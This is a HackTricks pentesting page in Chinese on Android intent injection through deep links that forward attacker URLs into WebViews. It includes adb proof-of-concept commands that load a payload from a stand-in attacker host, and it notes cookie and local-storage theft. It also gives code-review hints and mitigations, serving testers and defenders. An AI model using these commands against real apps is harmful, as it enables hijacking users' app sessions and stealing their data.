Intent Injection
Reading time: 5 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Intent injection 利用接受攻击者控制的 Intents 或稍后转换为 Intents 的数据的组件。在 Android 应用渗透测试中,有两种非常常见的模式:
- 将精心制作的 extras 传递给导出的 Activities/Services/BroadcastReceivers,这些 extras 随后被转发到特权的、未导出的组件。
- 触发导出的 VIEW/BROWSABLE 深度链接,将攻击者控制的 URL 转发到内部 WebViews 或其他敏感接收点。
Deep links → WebView sink (URL parameter injection)
如果一个应用程序暴露了一个自定义方案深度链接,例如:
myscheme://com.example.app/web?url=<attacker_url>
当接收的 Activity 将 url
查询参数转发到 WebView 时,您可以强制应用在其自己的 WebView 上下文中渲染任意远程内容。
通过 adb 的 PoC:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
影响
- HTML/JS 在应用的 WebView 配置中执行。
- 如果启用了 JavaScript(默认或由于检查顺序错误),您可以枚举/使用任何暴露的
@JavascriptInterface
对象,窃取 WebView cookies/本地存储,并进行转移。
另请参见:
启用 JavaScript 的检查顺序错误
一个反复出现的错误是在最终 URL 允许列表/验证完成之前启用 JavaScript(或其他宽松的 WebView 设置)。如果早期的助手接受了您的深层链接,并且 WebView 首先被配置,则即使后续检查存在缺陷或太晚,您的最终加载也会在 JavaScript 已启用的情况下发生。
在反编译代码中要查找的内容:
- 多个助手以不同方式解析/拆分/重建 URL(不一致的规范化)。
- 在最后的主机/路径允许列表检查之前调用
getSettings().setJavaScriptEnabled(true)
。 - 一个管道,如:解析 → 部分验证 → 配置 WebView → 最终验证 → loadUrl。
缓解措施
- 进行一次规范化并严格验证;失败时关闭。
- 仅在所有检查通过后并在加载受信任内容之前启用 JavaScript。
- 避免将桥接暴露给不受信任的来源。
其他经典的 Intent 注入原语
- 使用攻击者提供的
Intent
附加数据启动活动/发送广播,这些数据随后被重新解析(Intent.parseUri(...)
)并执行。 - 导出代理组件在没有权限检查的情况下将 Intents 转发到未导出的敏感组件。
参考文献
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。